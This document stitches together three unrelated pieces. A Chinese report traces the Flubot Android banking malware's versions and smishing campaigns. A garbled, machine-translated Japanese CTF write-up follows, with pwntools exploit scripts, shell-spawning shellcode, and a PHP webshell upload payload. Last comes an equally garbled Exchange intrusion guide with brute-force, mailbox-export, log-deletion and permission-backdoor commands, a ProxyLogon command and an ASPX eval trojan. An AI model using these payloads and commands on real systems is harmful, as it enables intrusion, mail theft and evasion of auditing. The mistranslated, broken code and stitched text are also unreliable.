Flubot是一個基於Android的惡意軟件，在過去一年半中已在歐洲、亞洲和大洋洲大肆攻擊，這些被攻擊的設備大多是毫無戒心的受害者。與大多數Android銀行惡意軟件一樣，Flubot也是濫用輔助功能和服務來竊取受害者的憑據，當受害者在檢測官方銀行應用程序時，攻擊者會提供一個虛假的網絡注入，比如一個類似於銀行登錄表單的網絡釣魚網站應用。 Flubot之所以大肆肆虐的一個重要原因是由於分佈其活動中使用的策略，因為它一直在使用受感染的設備發送短信，引誘新的受害者從虛假網站安裝惡意軟件。 在本文中，我們詳細介紹了它的演變發展史，包括新功能和傳播活動。 Flubot作為當今最流行的活躍Android銀行惡意軟件家族之一。 Flubot銀行惡意軟件家族至少從2020年末到2022年第一季度期間就開始傳播。它的流行來自於它的傳播方法：smishing。攻擊者一直在使用受感染的設備向其他電話號碼發送短信，在從其他受感染的設備中竊取並存儲在命令和控制服務器(C2)中。 在最初的活動中，攻擊者使用虛假的Fedex、DHL和Correos（一家當地的西班牙包裹運輸公司）發送短信。這些短信是虛假通知，誘使用戶進入虛假網站，以下載移動應用程序來跟踪運輸。這些活動很容易得手，因為現在大多數人習慣於在線購買不同類型的產品並接收此類消息以跟踪產品的運輸。 Flubot不僅是一個非常活躍的家族，其幕後的開發者也一直非常積極的在更新其新功能。 2022年6月1日，歐洲刑警組織宣佈在包括11個國家的聯合行動中取締Flubot。荷蘭警方在這次行動中發揮了關鍵作用，並於2022年5月成功摧毀了基礎設施，使這種惡意軟件變得不活躍。 初始版本：Flubot0.1-3.3版本一開始便針對西班牙發起攻擊，並迅速成為一種新型Android惡意軟件Flubot樣本於2020年11月-12月間首次在野外被發現。有關此惡意軟件的公開信息於2021年1月6日由ThreatFabric首次傳播。儘管ThreatFabric是第一個傳播關於這個新家族的公共信息並將其稱為“Cabassous”的人，但研究界更願意將這種惡意軟件稱為Flubot。 在最初的活動中，Flubot是使用Fedex和Correos虛假短信傳播的。在這些消息中，用戶被重定向到一個虛假網站，該網站會偽裝成一個“登陸頁面”，用於下載本應是一個Android應用程序來跟踪運輸。 在使用Flubot3.4之前的最初活動版本中，攻擊者使用每個國家的特定樣本支持其他國家的新活動。不同國家的樣本不同的原因是： ——域生成算法(DGA)。它使用不同的種子每月生成5000個不同的域。比如德國使用1945作為DGA的種子。 ——用於從受感染的設備發送更多的傳播詐騙短信的電話國家代碼，並屏蔽這些號碼，以避免受害者之間的通信。 初始版本（從0.1到3.3）中沒有功能相關的重大變化。它主要專注於傳播活動，試圖感染盡可能多的設備。 在最初的版本中有一個重要的更改，但是很難找到首次引入此更改的確切版本，因為在公共存儲庫中有些版本沒有示例。攻擊者們引入了網絡注入來竊取證書，這是Android設備上最流行的竊取證書的策略。該功能於2020年12月在0.1到0.5版本之間被引入。 在那些最初的版本中，開發者們在短短幾天內就增加了惡意軟件的版本號，而沒有做出重大改變。大多數樣本，尤其是2.1版本之前的樣本，都沒有上傳到公共惡意軟件庫，這使得追踪Flubot的第一個版本變得更加困難。 在這些初始版本（0.5之後）中，攻擊者還引入了其他不太流行的功能，例如用於撥打特殊號碼來賺錢的“USSD”（“RUN_USSD”命令），它是在版本1.2和1.7之間的某個時間點引入的。事實上，Flubot的攻擊者似乎並未真正使用此功能。最常用的功能是用於竊取銀行和加密貨幣平台憑據的Web注入以及發送SMS功能以傳播和感染新設備。 從2.1到2.8，研究人員觀察到攻擊者開始對Flubot的實際負載使用不同的打包程序。它可以解釋為什麼我們無法在2.1和2.8之間的公共存儲庫中找到樣本，可能有一些“內部”版本。 用於嘗試不同的打包程序或使其與新打包程序一起使用。 2021年3月：Flubot版本3.4-3.7新增了針對新的國家的攻擊和傳播活動的功能在幾個月的時間裡，研究人員專注於Flubot的傳播活動忽略了惡意軟件本身的新功能，在3.4版本中，攻擊者對DGA代碼進行了一些修改。在這個版本中，他們將生成域的數量從每月5000個減少到2500個。乍一看，這似乎是一個不起眼的改變，但因個改變，攻擊者可以以更容易的方式在不同的國家傳播Flubot，因為每個國家都使用了具有不同參數的不同樣本。 事實上，我們可以在2021年3月18日看到針對德國受害者定制的新版本（3.6）。僅僅五天后，又傳播了另一個版本（3.7），其中有一些有趣的變化。攻擊者們試圖在西班牙和德國的廣告家族中使用相同的樣本，包括用換行符分隔的西班牙和德國電話國家代碼以阻止受感染設備發送短信的電話號碼。 與此同時，攻擊者們推出了一項針對匈牙利的新活動。到3月底，開發者們在3.7版中引入了一項新變化：這是出現在DGA中的一個重要變化，因為他們將“.com”頂級域名替換為“.su”。這一變化對於跟踪Flubot很重要，因為現在攻擊者可以使用這個新的TLD來註冊新的C2的域。 2021年4月：Flubot版本3.9-4.0中出現了DoH和一些獨特的樣本自3月下旬以來，攻擊者們似乎一直在開發新版本：Flubot3.9。在這個新版本中，他們引入了DNS-over-HTTPs(DoH)。此新功能用於解析DGA生成的域名。這樣，檢測網絡中受感染的設備變得更加困難，因為安全解決方案無法檢查到。 正在解析哪些域。 在下圖中，我們展示了這個新版本的反編譯代碼，包括新的DoH代碼。攻擊者們保留了舊的經典DNS解析代碼。攻擊者引入了代碼來隨機選擇是否應該使用DoH或經典DNS。 DoH的引入並不是Flubot3.9新增的唯一功能。攻擊者們也添加了一些UI信息，以準備未來針對意大利的活動。 幾天后，這些消息在新的Flubot4.0版本中使用，其中攻擊者開始為所有活動使用一個樣本，不再針對不同國家/地區的唯一樣本。 在這個新版本中，在之前版本的Flubot中使用的目標國家參數是根據受害者的設備語言選擇的。這樣，如果設備語言是西班牙語，那麼使用西班牙語參數。選擇以下參數： ——DGA種子； ——用於smishing和電話號碼封鎖的電話國家代碼； 2021年5月：Flubot4.1-4.3版本對基礎設施和C2服務器進行了改進2021年5月，4.0版的惡意軟件中出現了一個新的更新，一個用於解析DGA域的DoH服務器的更改。現在他們不再使用CloudFlare的服務器，而是開始使用谷歌的服務器。這是使用新版本Flubot4.1的第一步。 在這個新版本中，攻擊者再次更改了用於解析C2域的DoH服務器。在這種情況下，他們引入了三種不同的服務或DNS服務器：Google、CloudFlare和AliDNS。最後一個是在Flubot生命週期中第一次用於解析DGA域。 隨機選擇這三個不同的DoH服務或服務器來解析生成的域，最終向任何活動的C2服務器發出請求。 這些變化還在比利時引發了一場新的活動，攻擊者使用虛假的BPost應用程序和smishing消息來引誘新的受害者。一周後，土耳其也出現了類似的活動，這次是一個新的Flubot版本，與C2協議相關的重要變化。 Flubot4.2的第一個樣本出現在2021年5月17日，其中對用於與C2服務器通信的代碼進行了一些重要更改。在這個版本中，惡意軟件使用C2中的新路徑“p.php”發送HTTP請求，而不是經典的“poll.php”路徑。 乍一看，這似乎是一個微小的變化，但仔細觀察代碼，我們意識到這一變化背後有一個重要原因：攻擊者更改了用於與C2服務器通信的協議的加密方法。 以前版本的Flubot使用簡單的XOR加密來加密與C2服務器交換的信息，但這個新版本4.2使用RC4加密來加密該信息，而不是經典的XOR。這樣，C2服務器仍然同時支持舊版本和新版本： poll.php和poll2.php用於使用舊的XOR加密發送/接收請求； p.php用於使用新的RC4加密發送和接收請求； 除了4.2版的新協議加密之外，攻擊者在5月底還增加了對羅馬尼亞新活動的支持。 最後，在2021年5月28日，發現了Flubot4.3的新樣本，並進行了微小的更改，主要集中在惡意軟件實現的字符串混淆上。 2021年6月：Flubot4.4-4.6版本新出現了語音信箱，並出現在新的國家在發現Flubot4.3的第一個樣本幾天后（2021年5月31日和2021年6月1日），研究人員觀察到了Flubot的新樣本即版本號增加到4.4。 不過這個新版本沒有太大的變化。攻擊者們只是增加了對葡萄牙活動的支持。正如我們在4.3和4.4版本中看到的那樣，Flubot的攻擊者們經常會在短短幾天內通過細微的更改，這樣就可以提高版本號了。有些版本甚至沒有在公共存儲庫中找到（例如3.3版），這表明有些版本從未公開使用過，或者只是跳過了。也許那些“從未被使用的版本”在傳播服務器中只持續了幾個小時，並迅速更新以修復漏洞。 在6月份，攻擊者們幾乎沒有對功能進行任何更改，而是在致力於新的傳播活動。 在4.5版中，攻擊者們將斯洛伐克、捷克共和國、希臘和保加利亞添加到未來活動的國家列表中。攻擊者們為他們所有人重複使用相同的DGA種子，因此傳播此版本不需要他們做太多工作。 在發現4.5版幾天后，研究人員很快又發現了一個新的4.6版，並新增了奧地利和瑞士。此外，重新引入了在先前版本中刪除的一些國家：瑞典、波蘭、匈牙利和荷蘭。 這個新版本的Flubot不僅覆蓋了更多的國家/地區，攻擊者們還引入了一種新的誘餌：語音郵件。在這個新的“語音郵件”活動中，受感染的設備被用來向新的潛在受害者發送短信，其中用戶被引導到一個虛假網站。在攻擊者安裝“語音郵件”應用程序之後，它應該允許用戶收聽收到的語音郵件消息。在下圖中，我們可以看到針對西班牙用戶的VoiceMail活動。 2021年7月是活動較少的月份。在這個月，只有一個版本更新在本月初被觀察到，即Flubot4.7。這個新版本沒有根據國家或設備語言使用不同的DGA種子。攻擊者開始從種子列表中隨機選擇種子，這些種子和之前用於國家或設備語言的種子是一樣的。 除了與DGA種子相關的變化外，攻擊者還新增了一些國家，如塞爾維亞、克羅地亞和波斯尼亞和黑塞哥維那。 Flubot在夏天幾乎沒有活動，可能是開發人員忙於他們的暑假。在8月和10月攻擊者會陸續恢復他們的活動。 2021年8月至9月：Flubot4.7-4.9版本開始出現 在4.7版本中，攻擊者將澳大利亞也列入了攻擊名單。 僅僅一周後，攻擊者就發布了4.8版本，研究人員在其中發現了一些與UI消息和警報對話框相關的細微變化。 今年9月，Flubot又出現了一個版本變化，4.9版本出現了一些更小的變化，就像之前的4.8版本一樣。這一次，攻擊者在C2服務器中引入了新的web注入來竊取受害者的憑證。這兩個有微小變化（不是很相關）的新版本似乎是一種功能的回歸。在研究人員看來，這兩個月發生的最有趣的事情是攻擊者開始使用Flubot殭屍網絡傳播另一個惡意軟件家族。研究人員從C2服務器收到了一些smishing任務，其中虛假的“語音郵件”網站正在為Teabot（也稱為Anatsa和Toddler）而不是Flubot提供服務。 這非常有趣，因為它表明Flubot的攻擊者也可能與這個惡意軟件家族有關，或者至少可能有興趣將殭屍網絡出售給其他惡意軟件開發者，以達到欺騙的目的。正如我們將看到的，這不是Flubot傳播的唯一家族。

1。データセキュリティの質問 1 .as 例と質問をご覧ください def pell_recurrence（x1、y1、x、y、d）: x_next=x1 * x + d * y1 * y y_next=x1 * y + y1 * x x_next、y_nextを返します #calculate def generate_until_threshold（x1、y1、d、しきい値）: x、y=1、0 solutions=[（x、y）] イテレーション=0 true: x、y=pell_recurrence（x1、y1、x、y、d） イテレーション +=1 solutions.append（（x、y）） xしきい値とyしきい値:の場合 壊す 解決策、イテレーション、（x、y） ##########################################################################か def main（）: D=42232 X1、Y1=108634303639045672094671043496198963286006933268455141841942775234559999、 52862312812076818203801374519259164308207980652808243827880652144787200 しきい値=2 **0x149f ソリューション、イテレーション、last_solution=generate_until_threshold（x1、y1、d、しきい値） 印刷（f 'x={last_solution [0]}'） 印刷（f 'y={last_solution [1]}'） n1=（last_solution [0] -1）//2 n2=last_solution [1] 印刷（n1） 印刷（n2） __name__=='__main __' :の場合 main（） N1=64844564643854949589851602335783984173579580464735419079658654718255037852726788222237554238651416 51725555010268946547371838755824968077838724094951075343418420178666051238478938999093406567717389454538 63424076592050010681353027292371006202432487099104697886787087178896042881627844174314231125376214954 191547729867576758551671299193867007260053941673838331284254279498630255373138495682828280106931847810107810 5747928749942182896044998865749248551237026945231309622443183888804721642376354130042037417822206304 44089221596447522910893615324877093077575834234234632206558888451080594144615938550114486923456286606606606 839599815531659691349774579744077742423463881471672458781349375368356413777777512841942400309996778337 89760649723034315709289197588503633098101852953596135719124951778966166882244717559306946188988876913 0598854771926155737315230514752046521202893304056240286346925487675888597054438983012367061809193423 0242946589463785934464302901842452354739677779999437519009546643195971492238007190552444297438229916530888 9482740693588888888694578091075479770434033383150772458175845012048361010458898033382579741708159642222 2143136409208762793223834034506152030379364807697319399089566253484842239113818516252719396503715151515151516 6115929559837059526120429960898263731511653364200306669261874318917779779751159990107686657670079338738 23935662067654373217132550990224714558326022862910255457386537474385284558980019354399325882955555558912 542652555558669537304706772635135818388765891636360962760667169682828523049745507250355557641675680606757 3954596043890492834784253219485112525250553753092423313264255375835083508288068056238732393021148364800000000 N2=6310775778373158072121506050012120110737000921159830860487405951913977762984508436128491347358202020843612849134735820 40026490305611506728157907332794553243897490382441928265237641015320185657434903925097598760960960787878787 883254442318175689932630404063782908439562569708467673549276158693692880019298918917442223454661333379985 39277783475975019927833495777599483895984131746152326733533402089732453584337320359607883603900037507 8019839415884013345498043473444405786017144561861862888858206698999955555555784335810426266614970929555570788888888227 401182253826825384609346528962344036388832502259046741321911200171426780637962405234747461112088834808080808080 9003855463232063187607331663553796062046207210640555294843433373700073814417333734803953072224509658233382338 0286472933092438252735609813745293185293425140178561897898999152120624707551988888890426788886293333333717556843 8766117594547448282820559753425657814885279969301392035974389727835465384888889776322146722233016164700555555330 06827166136303455670710003638464315811357227470395415655224937948484509148184858371069289334733848851 35625061825028262571981764852307539805730803567918135532017187134962686791602751075677775230893413 190686791463415735225214304935483754244074330567251227999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999990 -147626 42324815609182517988506268150630360407065284699130560128074008357903247903494947212812440317249494983943 3411188350035997807588936279816925317068991219980838476317761444099773877031649829297999999999999999999999944435354912 238925949073263872330350495717468997808640161305470224777777745158411515199235037185827272739425555857158966 004358344039029889879405479632695043708918494502587524196165559584121324134404046020914082864135881600 NC接続の提出 get username:admin-jm password:jm001x！ flag3360 md5（admin-jm+jm001x！） または： #sage 9.5 crypto.util.Numberインポートから * PWNインポートから * sysをインポートします sys.set_int_max_str_digits（0） DEFインタラクション（IO、X、Y）: io.recvuntil（b': '） io.sendline（b'2 '） io.recvuntil（b'n1〜 '） io.sendline（str（x）.encode（）） io.recvuntil（b'n2〜 '） io.sendline（str（y）.encode（）） io.recvline（） io.recvline（）を返します D=42232 チェック=2 **0x149f def solve_pell（n）: cf=coshing_fraction（sqrt（n）） i=0 WHILETRUE: I +=1 宗派=cf.denominator（i） numer=cf.Numerator（i） if（（（numer -1）//2）=check）または（denom=check）: 続行します numer^2 -n * denom^2==1:の場合 x、y=int（（numer -1）//2）、int（venom） res=interace（io、x、y） ifb'sorry'in res: 続行します RESを返します io=remote（'47 .117.41.252 '、' 33410 '） context.log_level='debug' res=solve_pell（d） 印刷（res） io.interactive（） ＃b'verifyの成功！ユーザー名[admin-jm]、パスワード[jm001x！]〜 'final flag3360 B7133D84297C307A92E70D7727F55CBC 2.scsc タイトル説明： プログラムの脆弱性を使用して、info_secファイルでデータ情報を取得し、11の行11、列2にデータを送信します 質問のプロセス：SCSCバイナリファイルを取得したとき、それが静的にコンパイルされ、ライブラリ機能がなく、シンボルテーブルが欠落していることがわかりました。 ここでは、リバーステクニックを使用します。シンボルテーブルを復元する3つの方法があります SIGファイルのさまざまなバージョンを使用し、Bindiffの使用を復元し、異なるLIBCファイルを使用し、ライブラリ機能のマシンコードを比較し、指紋プラグインを使用して関数名を復元します（インターネットに接続する必要があります）。個人的には、最も理想的な効果は指紋プラグインだと思います。このゲームも常にオンラインであるため、使用しています。 LIBCを認識するだけでなく、それがなければ、C ++ライブラリも使用したこともわかりません。ここでは、回復後の効果を示します このプログラムは、AES復号化関数セットシェルコードエグゼキューターであり、目に見える文字を無効にします。文字をフィルタリングせずにシェルコードを暗号化および送信する必要があります。 シェルコード、ジャンプ、次に通常のシェルコードを入力して読み取りを作成する最も簡単な方法を以下に示します。ここでの可視文字フィルタリングは、「SH」とさまざまな64ビットレジスタ操作を制限します。そこで、簡単にバイパスし、sys_readをオンにし、シェルコードを注入し、getShellを使用して、32ビットレジスタを使用しました PWNインポートから * std_pwnインポートから * crypto.cipher Import AESから crypto.util.paddingインポートパッドから defgetProcess（ip、port、name）: グローバルp iflen（sys.argv）1およびsys.argv [1]=='r': p=remote（ip、port） p else: p=process（name） p SL=Lambda X: P.Sendline（X） sd=lambda x: p.send（x） SA=Lambda X、Y: P.Sendafter（X、Y） SLA=Lambda X、Y: P.SendlineFter（X、Y） rc=lambda x: p.recv（x） rl=lambda: p.recvline（） ru=lambda x: p.recvuntil（x） ita=lambda: p.Itteractive（） slc=lambda: asm（shellcraft.sh（）） uu64=lambda x: u64（x.ljust（8、b '\ 0'）） uu32=lambda x: u32（x.ljust（4、b '\ 0'）） ＃sl、sd、sa、sla、rc、rl、ru、ita、slc、uu64、uu32を返します defaes_ecb_encrypt（plantext）: print（plantext） c inb'0moyhjlcit1zkbnrnchag':の場合 plantext:のcの場合 print（f '{chr（c）} in it！'） ＃ヘキサデシマル文字列キーをバイトに変換します key=B'862410C4F93B77B4 ' ＃AES暗号化装置を作成します cipher=aes.new（key、aes.mode_ecb） ＃プレーンテキストを入力して暗号化します padded_plaintext=pad（plantext、aes.block_size） ciphertext=cipher.encrypt（padded_plantext） ＃ciphertextを16進文字列に変換して戻ります ciphertextを返します shellcode='' ' RSPを押します ポップrsi MOV EDI、0 MOV EDX、0xff RDIを押します ポップラックス syscall JMP RSP '' ' ＃01ayhcjitkbn molznrchg p=getProcess（'47 .117.42.74 '、32846、'。/scsc '） Context（os='linux'、arch='amd64'、log_level='debug'、terminal=['tmux'、 'splitw'、 '-H']）） elf=elf（ './scsc'） gdba（） ペイロード=asm（shellcode） sa（ 'Magic Data:'、AES_ECB_ENCRYPT（ASM（ShellCode））） sl（asm（shellcraft.sh（））） ita（）または ＃！/usr/bin/env python3 PWNインポートから * context.log_level='debug' context.arch='amd64' ＃io=process（ './scsc'） io=remote（'47 .117.41.252 '、33414） shellcode='' ' XCHG R8、Rax XCHG R8、RSI サブEDI、EDI MOV EDX、0x99 Sub Eax、EAX syscall '' ' payload1=asm（shellcode） print（ 'shellcode='、payload1.hex（）） payload1=bytes.fromhex（ 'e29aca48e52d1d59c539c172262e56c7aeae3b0ebb4e872fa01f84506ad7c226'） payload2=b '\ x90'*len（payload1） + asm（shellcraft.sh（）） ＃gdb.attach（io） io.sendlineafter（b'magic data: '、payload1） 一時停止（） io.send（payload2） io.interactive（） 3. ez_upload タイトル説明： この質問では、テストの質問に添付されていません。添付のダウンロードボタンを無視してください！サーバーは、暗号化されたデータのRSAキーファイルを保存します。管理者は、サーバーサイトを維持するときに脆弱なテストサイトを修復しませんでした。 RSAキーが配置されているパスを送信してください（提出スタイル：ファイルがあるパスが /var /wwwの場合、送信回答は /var /wwwです） 問題手順： 予備的なアイデア、馬の渡され、けがをしてから、RSAに関連するファイルを見つけます HTMLとPHPはすべてWAFによってドロップされます。接尾辞は、ファイルコンテンツを検出するために使用できます。 Content-Type: TEXT/HTML WAFこれ 接尾辞はwafed、html、php、htaccess、 '。php'、 '。php5'、 '。php4'、 '。php3'、 '。php2'、 '。html'、 '。htm'、 '。pht'、 '。p ht '、'。php '、'。php5 '、'。php4 '、'。php3 '、'。php2 '、'。html '、'。htm '、'。phtml、user.ini これではないようにエコーします。しかし、phtmlの接尾辞のエコーはこのcontehtではありません php7.2以上、htaccessファイルを構成する必要があります PNG 2レンダリングではありません ミドルウェアはApacheです、脆弱性を解決しますか？ ファイルコンテンツがチェックされ、PHPを含むコンテンツがWAFによってドロップされることがわかります。 正常に馬を渡しました ？=@eval（$ _ post ['cmd']）; RSAキーを見つけるためのパスは/var/www/rssss4aです 4. データの開示とプライバシー保護 タイトル説明： 宣伝部門の技術サポートスタッフメンバーとして、過度のデータ脱感作のために優れたボランティアを公に賞賛するために活動を行うとき、個人情報を正確に特定できず、その結果 複数のボランティアが情報について混乱しています。添付ファイルの《题目说明文档》のタスク要件に従って問題を解決してください。 問題手順： エントリ:Openファイル - テーブルBase64暗号化- time（）を使用して擬似ランダムアレイを生成- エクスア暗号化- 新しいファイルに書き込み

侵入プロセス中、Exchange Mail Serverは通常、私たちが焦点を当てたオブジェクトです。 Machineアカウントの権限を使用してExchange Mail Serverを削除した後、ドメインDCSYNC許可内の他のユーザーに提供し、ドメインでハッシュをエクスポートしてドメイン全体を削除できるためです。 交換システムでは、コマンドhttps://Learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission？view=exchange-ps スキャンサービス setspn.exe setspn.exe -t vvvv1.com -f -q */* |検索ストレンド nmap NMAP 192.168.52.139 -A プローブバージョンと脆弱性 EWSインターフェイスを介してExchangeの正確なバージョン情報を取得する 短所：一部の古いExchangeバージョンは、この操作をサポートしていません。 OWAインターフェイスを介して取引所の大まかなバージョン情報を取得する バージョン番号を取得した後、公式Webサイトにアクセスして、対応する交換バージョンとリリース日を確認できます。 クエリアドレス： https://Learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates？view=exchserver-2016 スクリプトを使用して、バージョンと脆弱性を検出します https://github.com/3gstudent/homework-of-python/blob/master/exchange_getversion_matchvul.py ブラスト python2 eburst.py -d 192.168.52.139 -c このツールを使用して、ユーザーアカウントのパスワードを爆発することもできます。 python2 eburst.py -d 192.168.52.139 -l ./users.txt -p ./passwords.txt -ews 情報収集 電子メールユーザーのいずれかの資格情報が取得されたと仮定すると、次に情報を収集できます。 autodiscover による情報収集 https://Exchange/autodiscover/autodiscover.xmlインターフェイスを介して、XMLリクエストを受け入れ、XMLで指定された電子メールが属するメールボックス構成を返すことができます。 NTLMV2認証にはHTTP/1.1接続が必要であり、Burpsuitの新しいバージョンはHTTP/2にデフォルトであるため、最初に調整する必要があります。 https://blog.csdn.net/qq_30786785/article/details/121742101 構成の読み取りなどの操作については、次のリンクを参照してください。 https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8 基本は認証であり、base64 vvvv1 \ administrator:admin！@＃456を使用して暗号化されています post/autodiscover/autodiscover.xml http/1.1 HOST: 192.168.52.139 user-agent: mozilla/5.0（windows nt 10.0; win64; x64）applewebkit/537.36（khtml、geckoのように）chrome/114.0.0.0 safari/537.36 Authorization: BASIC VLZWVJFCYWRTAW5PC3RYYXRVCJPHZG1PBIFAIZQ1NG== Content-Type:テキスト/XML Content-Length: 350 autodiscover xmlns='http://schemas.microsoft.com/Exchange/Autodiscover/Outlook/RequestSchema/2006' リクエスト emailaddressexchange1@vvv1.com/emailaddress AcceptAbleresponseSchemahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a/acceptableresponseschema /リクエスト /autodiscover メールが存在しない場合、返されます メールボックスが存在する場合、構成情報が返されます 取引所アドレス帳を入手してください グローバルアドレスリスト（GAL）には、Exchange Organizationのすべてのメールユーザーのメールアドレスが含まれています。 Exchange Organizationの電子メールユーザーの資格情報を取得している限り、他のメールユーザーのメールアドレスをエクスポートできます。 HTTPを介したOWA、EWS、OAB、RPC、HTTPを介したMapiなどを使用してGALを取得できます。 https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA6%8A%80%E5%B7%A7-A8%8E%B7%E5%BEA%97Exghange-GlobalAddressList%E7%9A%84A6%96%B9%E6%B3 https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ OWAを使用して直接表示 人事ユーザー /ewsインターフェイスを取得します< /h5> PowerShell -ExecutionPolicyバイパス import-module。\ mailsniper.ps1 get -globalAddressList -ExchHostName 192.168.52.139 -USNAME VVVV1 \ Administrator -PassWord Admin！@＃456 -Outfile Gal.txt oab を介してギャルを取得します 1。AOTODISCOVERを介して収集されたOABパス。 2。ACCESSOAB/oaburi/oab.xml; 3. oab.xmlを介してデフォルトのグローバルアドレステーブルに対応するLZXファイルアドレスを見つけ、access/oab/oaburi/lzxuriにLZXファイルを取得します。 4. Cabextractツールを使用してLZXファイルをデコードし、GALを復元します。 https://www.cabextract.org.uk/ http を介したRPC（mapi）を介した情報収集をエクスポートします HTTP上のMapiは、OutlookとExchange 2016の間のデフォルトの通信プロトコルです HTTPを介したMAPIは、HTTPを介してRPCを置き換えるためにExchange Server 2013 Service Pack 1（SP1）に実装された新しいトランスポートプロトコルです（Outlook Anywhereとも呼ばれます） HTTPを介したMAPIは、Exchange 2013でデフォルトで有効になりません。OutlookとExchangeの間の通信プロトコルは、HTTPを介してRPCを使用します。 Impacket-Exchangerモジュールを使用してアドレスリストをリストし、対応するGUIDを見つけます python endganger.py vvvv1/admins:user！@＃45@192.168.52.139nspiリストテーブル すべてのユーザーをエクスポートします python exchanger.py VVVV1/admins:User!@#45@192.168.52.139nspi dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738 Pythonを介したGALのリモートエクスポート Python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com Adminsユーザー！@＃45 findallpeople ： メールコンテンツをエクスポート /owaインターフェイスを介して直接メールをダウンロードします< /h4> アカウントパスワードを入力して、ページでメールを直接読み取るかダウンロードしてください /ewsインターフェイスを介して電子メールコンテンツをエクスポート< /h4> pythonを介した電子メールのリモートエクスポート プレーンテキストパスワードまたはハッシュを介してエクスポートできます python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com管理者管理者！@＃456ダウンロード python ewsmanage_downloader.py test.com 80 NTLMHASH NULL USER1 C5A237B7E9D8E708D8436B6148A25FA1 FINDALLPELE Pythonを介した電子メールのエクスポートは、通常、SOAP XMLメッセージを使用してエクスポートされます 公式XML要素ドキュメント： https://Learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange exshell.ps1 を介して電子メールをエクスポートします https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-E4%BB%8EEXChange%E6%9C%8D%9CですE5％8a％A1％E5％99％A8％E4％B8％8A％E6％90％9C％E7％B4％A2％E5％92％8C％E5％AF％BC％E5％87％BA％E9％82％AE％E4％BB％B6 Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'newmailboxexportrequest -mailbox管理者-filepath' \ \ c $ Exchange1.pst ' もちろん、電子メールをエクスポートした後、エクスポートメールのトレースをクリアする必要があります。 メールのエクスポート要求履歴を表示します Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -mailboxexportrequertrequest' エクスポートログレコードを削除します Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'remove -mailboxexportrequert' ' IDパラメーターは、上の図のメールボックスパラメーターです Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'removeBoxexportRequest -identity' vvvv1.com/users/administrator \ mailboxexportportportport 電子メールは、バックドアの植え付けを引き継ぎます シミュレーション権限を構成 https://4SYSOPS.COM/ARCHIVES/EXCHANGE-IMPRENATION-GRANT-PERMISSIONS-TO-SERVICE-ACCOUNTS/ 次の権限を追加するだけです。 シミュレーションの許可があることを確認してください。 https://192.168.52.139/ecp/exchange1@vvvv1.com/ 特定の利用には、スクリプトファイルを組み合わせる必要があります。 モック許可を持つメンバーを表示します get -managementRoleasSignment -Role:ApplicationImprensation Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -managementRoleassignment -role:application -ination' 模擬権限を備えた新しいメンバーを作成します new -managementRoleasSignment -Role3:ApplicationImprensation -User:Exchange1@vvvv1.com 新しく追加されたモック許可を持っているメンバーを削除します managementRoleassignment 'application-Imprensation-Admins'を削除 FullAccess Permissions を構成します https://Blog.csdn.net/weixin_34123613/article/details/90079532 get -Mailbox -ResultSize Unlimited -Filter {（ReciontTypedEtails -EQ 'USERMAILBOX'） - （Alias -NE 'Administrator'）} | Add -MailboxPermission -USER Administrator -AccessRights Fullaccess -InheritanceTypeすべて Fullaccessの許可をキャンセルします get -Mailbox -ResultSize Unlimited -Filter {（ReciontTypedEtails -EQ 'USERMAILBOX'） - （Alias -NE 'Administrator'）} | mailboxpermission -user管理者-accessrights fullaccess -inheritanceTypeすべて Fullaccessアクセス許可を確認します 脆弱性攻撃 python proxylogon.py - host=exchange.com - mail=admin@exchange.com Aspx Trojan：スクリプト言語='jscript' runat='server' function page \ _load（）{/\*\*/eval（request \ ['command' \]、 'unsafe'）;}/script 摂取後段階 サーバー情報の交換コレクション Exchangeのデフォルトのインストールパスを取得します Echo％ExchangeInstallPath％ コンソールファイルの相対位置は、％ExchangeInstallPath％\ bin \ exshell.ps1です すべての電子メール情報を取得します Powershell.exe -psconsolefile 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ bin \ exshell.psc1' -command 'get -mailbox -Resultsize Unlimited' 電子メール追跡ログを分析 メール追跡ログは％交換にあります